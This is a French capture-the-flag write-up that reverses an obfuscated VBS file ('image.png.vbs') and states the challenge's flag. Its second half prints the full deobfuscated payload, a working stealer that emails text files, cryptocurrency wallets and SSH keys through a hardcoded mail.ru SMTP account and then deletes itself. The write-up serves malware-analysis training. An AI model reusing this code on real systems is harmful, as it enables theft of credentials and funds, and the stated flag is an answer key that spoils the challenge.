VBScape (EASY)

Auteur(s) :

`Hokanosekai`

Catégorie :

`Reverse`

Description :

Un étudiant a trouvé un fichier VBS sur un ordinateur de l'université. Il pense qu'il s'agit d'un virus, mais il n'arrive pas à le déchiffrer. Pouvez-vous l'aider ?

> ⚠ : Le fichier joint contient un vrai malware, ne l'exécutez pas sur votre machine ! Mot de passe de l'archive : `ce-ctf-est-trop-cool`

Le flag correspond à l'email utilisé pour l'exfiltration et au nom du dernier fichier exfiltré, par exemple `UHOCTF{attattacker@evil.com|passwords.txt}`

VBScape.zip

Flag : `UHOCTF{email|file}`

Solution :

On peut donc commencer par dézipper l'archive via la commande `7z` en spécifiant le mot de passe.

PROF

```
hoka@hoka ~/c/U/VBScape> 7z e VBScape.zip -p"ce-ctf-est-trop-cool"

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8
CPUs Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (806EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 20962 bytes (21 KiB)

Extracting archive: VBScape.zip
WARNING:
VBScape.zip
Can not open the file as [zip] archive
The file is open as [7z] archive

--
Path = VBScape.zip
Open WARNING: Can not open the file as [zip] archive
```

```
Type = 7z
Physical Size = 20962
Headers Size = 210
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1

Everything is Ok

Archives with Warnings: 1
Size:       20734
Compressed: 20962
hoka@hoka ~/c/U/VBScape> ls
.rwxrwxrwx 20k hoka hoka 24 May 11:26 
aze87ef9ddsd0zkaj521kfdf0dkf0df7sdfd6fsdf6
.rwxrwxrwx 20k hoka hoka 25 May  1:20  VBScape.zip
```

On obtient donc un fichier `aze87ef9ddsd0zkaj521kfdf0dkf0df7sdfd6fsdf6`, grâce à la commande `file` on peut voir qu'il s'agit encore d'une archive 7zip.

```
hoka@hoka ~/c/U/VBScape> file aze87ef9ddsd0zkaj521kfdf0dkf0df7sdfd6fsdf6
aze87ef9ddsd0zkaj521kfdf0dkf0df7sdfd6fsdf6: 7-zip archive data, version
0.4
```

On peut donc l'extraire de la même manière que précédemment.

```
hoka@hoka ~/c/U/VBScape> 7z e aze87ef9ddsd0zkaj521kfdf0dkf0df7sdfd6fsdf6
```

On obtient deux fichiers, un fichier `image.png.vbs` et un fichier `description.txt`.

PROF

Le fichier `description.txt` contient une répétition de la phrase `sorry server is no longer available`.

Le fichier `image.png.vbs` contient du code VBS obfusqué, effectivement les noms de variables et de fonctions sont des caractères aléatoires.

Le mot `DIM` est utilisé pour déclarer une variable, et le mot `SUB` est utilisé pour déclarer une fonction.

```
dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy,
AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp,
FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp

Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
```

On peut donc voir 2 fonctions et 3 variables.

La variable `jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy` est utilisée pour stocker une chaîne de caractères. La chaîne en question est un ensemble de nombres et d'opérateurs mathématiques.

Ensuite la variable `axEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp` stocke un `split` de la chaîne précédente, avec comme séparateur d'une évaluation du calcule `eVaL("67484-67437")`.

On peut très facilement retrouver le caractère servant de séparateur en utilisant la commande suivante :

```
hoka@hoka ~/c/U/VBScape> python3 -c "print(chr(eval('67484 - 67437')))"
/
```

On peut donc voir que le séparateur est le caractère `/`. Nous pouvons donc déduire que la chaîne de caractères est composée de plusieurs calculs.

Dans la suite du code on voit une boucle `for each` qui itère sur le `split` de la chaîne de caractères.

```
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In
AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp =
fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp &
Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
```

On peut donc voir que la variable `FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp` est utilisée pour stocker la concaténation de la variable `FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp` et du caractère correspondant à l'évaluation du calcul.

PROF

Puis la seconde fonction est appelée.

```
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))
enD sUB
```

Cette méthode permet d'exécuter le contenu de la variable `FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp`. Le résultat de la boucle `for each` est donc exécuté.

Nous pouvons donc déobfusquer le code en remplaçant l'appel de la fonction `execute` par un affichage de la variable `FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp`.

```
Wscript.Echo FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
```

```
on error resume next
Const Desktop = 4
Const MyDocuments = 16
Set S = CreateObject("Wscript.Shell")

Set FSO = CreateObject("scripting.filesystemobject")
WScript.Sleep(1000 * 30)

strSMTP_Server = "smtp.mail.ru"
strTo = "shadowbyte1337@mail.ru"
strFrom = "shadowbyte1337@mail.ru"
strSubject = "AIRDROP"
strBody = "LOG"

Set iMsg=CreateObject("CDO.Message")

Set iConf=CreateObject("CDO.Configuration")

Set wshShell = CreateObject( "WScript.Shell" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")    = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl")     = true
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")   = "shadowbyte1337@mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")   = "R4CMZ3rVnMFtzz6vzRi1"

Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo

iMsg.From=strFrom
iMsg.Subject=strSubject

iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))
For each file in fld.files
   if LCase(FSO.GetExtensionName(file)) = "txt" Then
      iMsg.AddAttachment file.path

   End if
Next

Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo

iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody

Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))
For each file in fld.files
   if LCase(FSO.GetExtensionName(file)) = "txt" Then
      iMsg.AddAttachment file.path

   End if
Next

iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Bitcoin\wallet.dat"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Litecoin\wallet.dat"
iMsg.AddAttachment "C:\Users\" & strUserName & "\.ssh\id_rsa"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Electrum\wallets\default_wallet"
```

```
iMsg.AddAttachment "C:\Users\" & strUserName & "\.ssh\id_rsa.pub"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\DashCore\wallet.dat"
iMsg.AddAttachment "C:\Users\" & strUserName & "\.ssh\known_hosts"
iMsg.Send

Set mFSO = CreateObject("Scripting.FileSystemObject")

Call mFSO.DeleteFile(WScript.ScriptFullName, True)
```

On peut donc maintenant voir l'email et le dernier fichier exfiltré.

Flag : `UHOCTF{shadowbyte1337@mail.ru|known_hosts}`